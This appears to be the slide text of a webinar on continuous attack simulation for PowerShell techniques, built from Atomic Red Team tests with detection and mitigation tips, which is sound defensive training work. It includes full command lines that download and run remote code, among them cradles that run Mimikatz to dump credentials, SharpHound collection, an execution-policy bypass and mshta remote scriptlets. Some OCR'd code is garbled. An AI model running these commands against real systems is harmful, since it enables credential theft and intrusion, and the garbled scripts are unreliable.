

A Functional Introduction to: Continuous Attack Simulation and Defense

Cyber adversaries are constantly honing their techniques, so why shouldn't you and your peers regularly practice defending against the same tactics?

Learn to Level The Playing Field Against Ransomware Adversaries by:

- Validating Your Detection and Alerting Chain
- Identifying Logging Pipeline Issues
- Improving Your Security Coverage Visibility
- Simulating Real-World Attacks In Your Own Environment

Join us to learn how to identify your security coverage weaknesses and remove them before they are exploited!

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Presented by





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Joe Brinkley

Directory of Offensive Security, Innovation, Research and Advanced Testing

Over 15+ of Infosec years of experience


Penetration Tester, Systems Security, Malware Author, Red Teaming





Threat Detection: Threat detection is the practice of analyzing the entirety of a security stack to identify any malicious activity that could compromise the network

TTPs - Tactics, Techniques, and Procedures:



NITRE AT	T&CK°			Matrio	ces Tactics ▼	Techniques ▼ Miti	igations 🔻 Gro	oups Software	Resources *
Initial Access 9 techniques	Execution 10 techniques	Persistence 18 techniques	Privilege Escalation 12 techniques	Defense Evasion 34 techniques	Credential Access 14 techniques	Discovery 24 techniques	Lateral Movement 9 techniques	Collection 16 techniques	Command and Control 16 techniques
Drive-by Compromise	Command and Scripting Interpreter (7)	Account Manipulation (4)	Abuse Elevation Control	Abuse Elevation Control Mechanism (4)	Brute Force (4) Credentials from	Account Discovery (4)	Exploitation of Remote Services	Archive Collected Data (3)	Application Layer Protocol (4)
Exploit Public- Facing Application	Exploitation for Client Execution	BITS Jobs	Mechanism (4) Access Token	Access Token Manipulation (5)	Password Stores (3)	Application Window Discovery	Internal Spearphishing	Audio Capture	Communication Through Removable
External Remote Services	Inter-Process Communication (2)	Boot or Logon Autostart Execution (11)	Manipulation (5) Boot or Logon	BITS Jobs	Exploitation for Credential Access	Browser Bookmark Discovery	Lateral Tool Transfer	Automated Collection	Media Data Encoding (2)
Hardware Additions	Native API	Boot or Logon Initialization	Autostart Execution (11)	Deobfuscate/Decode Files or Information	Forced Authentication	Cloud Service Dashboard Cloud Service Discovery	Remote Service Session	Clipboard Data Data from Cloud	Data Obfuscation (3)
Phishing (3)	Scheduled Task/Job ₍₅₎	Scripts (5)	Boot or Logon Initialization	Direct Volume Access	Input Capture (4)	Domain Trust Discovery	Hijacking (2)	Storage Object	Dynamic
Replication Through Removable Media	Shared Modules	Browser Extensions	Scripts (5)	Execution Guardrails (1) Exploitation for Defense	Man-in-the-	File and Directory	Remote Services (6)	Data from Information	Résolution (3)
Supply Chain	Software Deployment Tools	Compromise Client Software Binary	Create or Modify System Process (4)	Evasion	Middle (1) Modify	Discovery Network Service Scanning	Replication Through	Repositories (2) Data from Local	Encrypted Channel (2)
Compromise (3)	System Services (2)	Create Account (3)	Event Triggered Execution (15)	File and Directory Permissions	Authentication Process (3)	Network Share Discovery	Removable Media	System	Fallback Channels
Trusted Relationship	User Execution (2)	Create or Modify System Process (4)	Exploitation for	Modification (2)	Network Sniffing	Network Sniffing	Software Deployment Tools	Data from Network Shared Drive	Ingress Tool Transfer
Valid Accounts (4)	Windows	Event Triggered	Privilege Escalation	Group Policy Modification	OS Credential	Password Policy Discovery	Taint Shared	Data from Removable Media	Multi-Stage Channels
	Management Instrumentation	Execution (15) External Remote	Group Policy Modification	Hide Artifacts (6) Hijack Execution Flow (11)	Dumping (8)	Peripheral Device	Use Alternate		Non-Application
		Services	Hijack Execution	(17)	II Steal Application Access Token	Discovery Permission Groups	Authentication	Data Staged (2) Email Collection (3)	Layer Protocol
		Hijack Execution	Flow (11)	Impair Defenses (6) Indicator Removal on	Steal or Forge Kerberos	Discovery (3)	Material (4)		Non-Standard Port
		Flow (11) Implant Container	Process Injection (11)	Host (6)	Tickets (3)	Process Discovery		Input Capture (4) Man in the Browser	Protocol Tunneling
		Image	Scheduled Task/Job (5)	Indirect Command Execution	Steal Web Session Cookie	Query Registry		Man-in-the-	Proxy (4)
		Office Application Startup (6)	Valid Accounts (4)	Masquerading (6)	II Two-Factor	Remote System Discovery		Middle (1)	Remote Access Software
		Pre-OS Boot (3)	1	Modify Authentication	Authentication Interception	Software Discovery (1) System Information	11	Screen Capture Video Capture	Traffic Signaling (1)
		Scheduled	,	Process (3)	Unsecured Credentials (c)	Discovery		video Capture	Web Service (3)

T1059.001 - PowerShell

Description from ATT&CK

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.

Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the *Start-Process* cmdlet which can be used to run an executable and the *Invoke-Command* cmdlet which runs a command locally or on a remote computer (requires administrator permissions to connect to remote systems).

PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

When using powershell there are some things we can run to figure out how much access we really have

Get-ExecutionPolicy	Get-ExecutionPolicy -List Format-Table -AutoSize
Write-Host "My voice is my passport, verify me."	Echo Write-Host "My voice is my passport, verify me." Power shell.exe - noprofile -
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.l y/1kEgbuH')"	powershell.exe -Enc VwByAGkAdABIACOASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBIACAAaQB zACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgA G0AZQAuACcA
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1	powershell -ep bypass

Where would I get good examples for these TTPs?

Source	Location
Atomic Red Team Test	https://github.com/redcanaryco/atomic-red-team
DFIR Report	https://thedfirreport.com/
SCYTHE Community Threats	https://github.com/scythe-io/community-threats
MITRE Adversary Emulation Plans	https://attack.mitre.org/resources/adversary-emulation-plans/

#1 – Mimikatz Download and Execute (ON DISK)

Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.

Name	Description	Default Value
Mimikatz url on disk EXEC	Needs admin	powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08 007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

A Functional Introduction to: Continuous Attack Simulation and Defense With Powershells DETECTION & MITIGATION

#1 – Mimikatz Download and Execute (ON DISK)

Name	Description	Default Value
Mimikatz url on disk EXEC	Needs admin	powershell.ex "IEX (I ew-Object Net.WebClient).DownwadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz - DumpCreds"

- ✓ Remove Administrator rights where possible
- ✓ Block or Log HTTP(S) callouts, especially for non-browser processes (Windows Firewall is very good for this)
- ✓ "IEX" or "Invoke-Expression" is super bad*
- ✓ Consider blocking specific file extensions at the content filtering layer
- ✓ PowerShell Logging


#2 - Run SharpHound from local disk

Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur.

Name	Description	Default Value
Download BloodHound to Disk		Invoke-WebRequest "https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1" -OutFile "C:\Users\Public\SharpHound.ps1"
Execute BloodHound		import-module C:\Users\Public\SharpHound.ps1 Invoke-BloodHound -OutputDirectory \$env:Temp

#2 - Run SharpHound from local disk

Data Collection for BloodHound utility - https://github.com/BloodHoundAD/BloodHound



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#2 - Run SharpHound from local disk

Name	Description	Default Value
Download BloodHound to Disk		Invoke-WebRequest "https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1" -OutFile "C:\Users\Public\SharpHound.ps1"
Execute BloodHound		import-module C:\Users\Public\SharpHound.ps1 Invoke-BloodHound -OutputDirectory \$env:Temp

- ✓ Block or Log HTTP(S) callouts, especially for non-browser processes (Windows Firewall is very good for this)
- ✓ "Invoke-WebRequest" is super bad*
- ✓ Consider blocking specific file extensions at the content filtering layer (.ps1)
- ✓ PowerShell Logging
- ✓ Active Directory (LDAP) requests from host (SharpHound can be very noisy).
- ✓ Anti-Malware scanning of files during write

#3 - Run Bloodhound from Memory using Download Cradle

Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur.

Name	Description	Default Value
Load BloodHound in Memory and run	Runs Blood hound in Memory	IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.c om/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cf a7f2b4a566a14e2/Ingestors/SharpHound.ps1'); Invoke-BloodHound -OutputDirectory \$env:Temp



#3 - Run Bloodhound from Memory using Download Cradle

Name	Description	Default Value
Load BloodHound in Memory and run	Runs Blood hound in Memory	IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.c om/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cf a7f2b4a566a14e2/Ingestors/SharpHound.ps1'); Invoke-BloodHound -OutputDirectory \$env:Temp

- ✓ Block or Log HTTP(S) callouts, especially for non-browser processes (Windows Firewall is very good for this)
- √ "IEX" or "Invoke-Expression" is super bad*
- ✓ Consider blocking specific file extensions at the content filtering layer (.ps1)
- ✓ PowerShell Logging
- ✓ Active Directory (LDAP) requests from host (SharpHound can be very noisy).

#4 - Obfuscation Tests

Different obfuscated methods to test. Upon execution, reaches out to bit.ly/L3g1t and displays: "SUCCESSFULLY EXECUTED POWERSHELL CODE FROM REMOTE LOCATION"

Name	Description	Default Value
Obfuscation Tests	Runs script to write out files to console to show it will execute scripts	(New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Defaul t_File_Path.ps1');IEX((- Join([IO.File]::ReadAllBytes('Default_File_Path.ps1') ForEach- Object{[Char]\$_}))) (New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Defaul t_File_Path.ps1');[ScriptBlock]::Create((- Join([IO.File]::ReadAllBytes('Default_File_Path.ps1') ForEach- Object{[Char]\$_}))).InvokeReturnAsIs()

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#4 - Obfuscation Tests

Name	Description	Default Value
Obfuscation Tests	Runs script to write out files to console to show it will execute scripts	(New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1');IE X((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1') ForEach-Object{[Char]\$_}))) (New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1');[S criptBlock]::Create((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1') ForEach-Object{[Char]\$_}))).InvokeReturnAsIs()

- ✓ Block or Log HTTP(S) callouts, especially for non-browser processes (Windows Firewall is very good for this)
- ✓ Consider blocking specific file extensions at the content filtering layer (.ps1)
- ✓ PowerShell Logging
- ✓ Look for the usage of "EncodedCommand" or "[ScriptBlock]""Create"

#5 - Mimikatz - Cradlecraft PsSendKeys

Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.

Name	Description	Default Value
Mimikatz - Cradlecraft PsSendKeys	Opens NOTEPAD, writes mimikatz to file closes file and runs file	\$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b9 1253a/Exfiltration/Invoke-Mimikatz.ps1';\$wshell=New-Object -ComObject WScript.Shell;\$reg='HKCU:\Software\Microsoft\Notepad';\$app='Notepad';\$props=(Get-ItemProperty \$reg);[Void][\$ystem.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([St ring]([\$ystem.Windows.Forms.Screen]::AllScreens)).Split(']')[0].Split('=')[5]),@('StatusBar',0)) ForEach{SP \$reg (Item Variable:_\.Value[0] (Variable_\).Value[1]};\$curpid=\$wshell.Exec(\$app).ProcessID;While(!\\$title=GPS\]?{(Item Variable:_\.Value.id-ieq\$curpid} ForEach{(Variable_\).Value.MainWindowTitle}))}{Start-Sleep -Milliseconds 500};While(!\\$wshell.AppActivate(\\$title))\{Start-Sleep -Milliseconds 500};\\$wshell.SendKeys('\ariable_\).Value\};\\$res=\\$Null;While(\\$res.Length -It 2)\{[Windows.Forms.Clipboard]::Clear();@('\ariable_\).Value\};\\$res=\\$Null;While(\\$res.Length -It 2)\{[Windows.Forms.Clipboard]::GetText())\};\[Windows.Forms.Clipboard]::Clear();@('\ariable_\).Value\};\\$res=\{Wshell.SendKeys((Variable_\).Value\};\\$f(GPS\]?\{(Item Variable:_\).Value.id-ieq\\$curpid\}\{@('\TAB\}',\"\")\ForEach\{\\$wshell.SendKeys((Item Variable:_\).Value\}\};\@('\TAB\}',\"\")\ForEach\{\\$wshell.SendKeys((Item Variable:_\).Value\}\};\@('\TAB\}',\"\")\ForEach\{\\$wshell.SendKeys((Item Variable:_\).Value\}\};\@('\TAB\}',\"\")\ForEach\{\\$wshell.SendKeys((Item Variable:_\).Value\}\};\@('\TAB\}',\"\")\ForEach\{\\$wshell.SendKeys((Item Variable:_\).Value\}\};\@('\TAB\}',\"\")\ForEach\{\\$wshell.SendKeys((Item Variable:_\).Value\}\};\@('\TAB\}',\"\")\ForEach\{\\$wshell.SendKeys((Item Variable:_\).Value\}\};\@('\TAB\}',\"\")\ForEach\{\\$wshell.SendKeys((Item Variable:_\).Value\}\};\@('\TaB\}',\"\")\ForEach\{\\$wshell.SendKeys(\table \).Value\}\};\@('\TaB\}',\"\"\")\ForEach\{\\$wshell.SendKeys(\table \).Value\}\};\@('\TaB\}',\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"



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#5 - Mimikatz - Cradlecraft PsSendKeys

Name	Description	Default Value
Mimikatz - Cradlecraft PsSendKeys	Opens NOTEPAD, writes mimikatz to file closes file and runs file	\$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltratio n/Invoke-Mimikatz.ps1';\$wshell=New-Object -ComObject WScript.Shell;\$reg='HKCU:\Software\Microsoft\Notepad';\$app='Notepad';\$props=(Get-ItemProperty \$reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('j')[0].Split('=')[5]),@('StatusBar',0)) ForEach{\$P \$reg (Item Variable:_).Value[0] (Variable_).Value[1]};\$curpid=\$wshell.Exec(\$app).ProcessID;While(!(\$title=GP\$)?{(Item Variable:_).Value.id-ieq\$curpid} ForEach{(Variable_).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!\$wshell.AppActivate(\$title)){Start-Sleep -Milliseconds 500};\$wshell.SendKeys('\o');Start-Sleep -Milliseconds 500;@(\$url,(' '*1000),'\o') ForEach{\$wshell.SendKeys((Variable_).Value)};\$res=\$Null;While(\$res.Length -It 2){[Windows.Forms.Clipboard]::Clear();@('\o'a','\o') ForEach{\$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;\$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('\o'f','x') ForEach{\$wshell.SendKeys((Variable_).Value)};f(GP\$]?{(Item Variable:_).Value.id-ieq\$curpid}){@('{TAB}','\o') ForEach{\$wshell.SendKeys((Item Variable:_).Value)};@('\o'na','\o') ForEach{\$p.\$p.\$p.\$p.\$p.\$p.\$p.\$p.\$p.\$p.\$p.\$p.\$p.\$

- ✓ Limit Adminisrator Privilieges where possible
- ✓ Block or Log HTTP(S) callouts, especially for non-browser processes (Windows Firewall is very good for this)
- ✓ Notepad as a child process of PowerShell is interesting.
- ✓ Consider blocking specific file extensions at the content filtering layer (.ps1)
- ✓ PowerShell Logging
- ✓ PowerShell Constrained Language Mode**

#6 - Powershell invoke mshta.exe download

Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!".

Name	Description	Default Value
invoke mshta.exe download	Opens powershell runs a CRADLE script	C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:https://raw.githubusercontent.co m/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/mshta.sct').Exec();close()"



#6 - Powershell invoke mshta.exe download

Name	Description	Default Value
invoke mshta.exe download	Opens powershell runs a CRADLE script	C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:https://raw.githubusercontent.co m/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/mshta.sct').Exec();close()"

- ✓ Block or Log HTTP(S) callouts, especially for non-browser processes (Windows Firewall is very good for this)
- ✓ Use of mshta.exe should be logged and alerted on
- ✓ Consider blocking specific file extensions at the content filtering layer (.sct)
- ✓ Disable/Remove MSHTA if not needed

#7 - PowerShell Session Creation and Use

Connect to a remote powershell session and interact with the host. Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.

Name	Description	Default Value
Enable Powershell remoting	Enables Powershell remoting	Enable-PSRemoting
PowerShell Session Creation and Use	Opens powershell remote and connects to a system	Invoke-Command -ScriptBlock {New-PSSession -ComputerName \$env:COMPUTERNAME; Test-Connection \$env:COMPUTERNAME; Set-Content -Path \$env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"; Get-Content -Path \$env:TEMP\T1086_PowerShell_Session_Creation_and_Use; Remove-Item -Force \$env:TEMP\T1086_PowerShell_Session_Creation_and_Use}"

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#7 - PowerShell Session Creation and Use

Name	Description	Default Value
Enable Powershell remoting	Enables Powershell remoting	Enable-PSRemoting
PowerShell Session Creation and Use	Opens powershell remote and connects to a system	Invoke-Command -ScriptBlock {New-PSSession -ComputerName \$env:COMPUTERNAME; Test-Connection \$env:COMPUTERNAME; Set-Content -Path \$env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"; Get-Content -Path \$env:TEMP\T1086_PowerShell_Session_Creation_and_Use; Remove-Item -Force \$env:TEMP\T1086_PowerShell_Session_Creation_and_Use}"

- ✓ Collect local event logs, alert when PSRemoting changes state
- ✓ "Invoke-Command" is super bad*
- ✓ Limit Administrator rights where possible
- ✓ PowerShell Logging (both endpoints)
- ✓ Baseline "normal" origins for legitimate admin PSRemoting usage to find anomalies





Slides available:

https://github.com/ondefend/webinars

Contact us today to learn more about BlindSPOT!

https://blindspotsec.com

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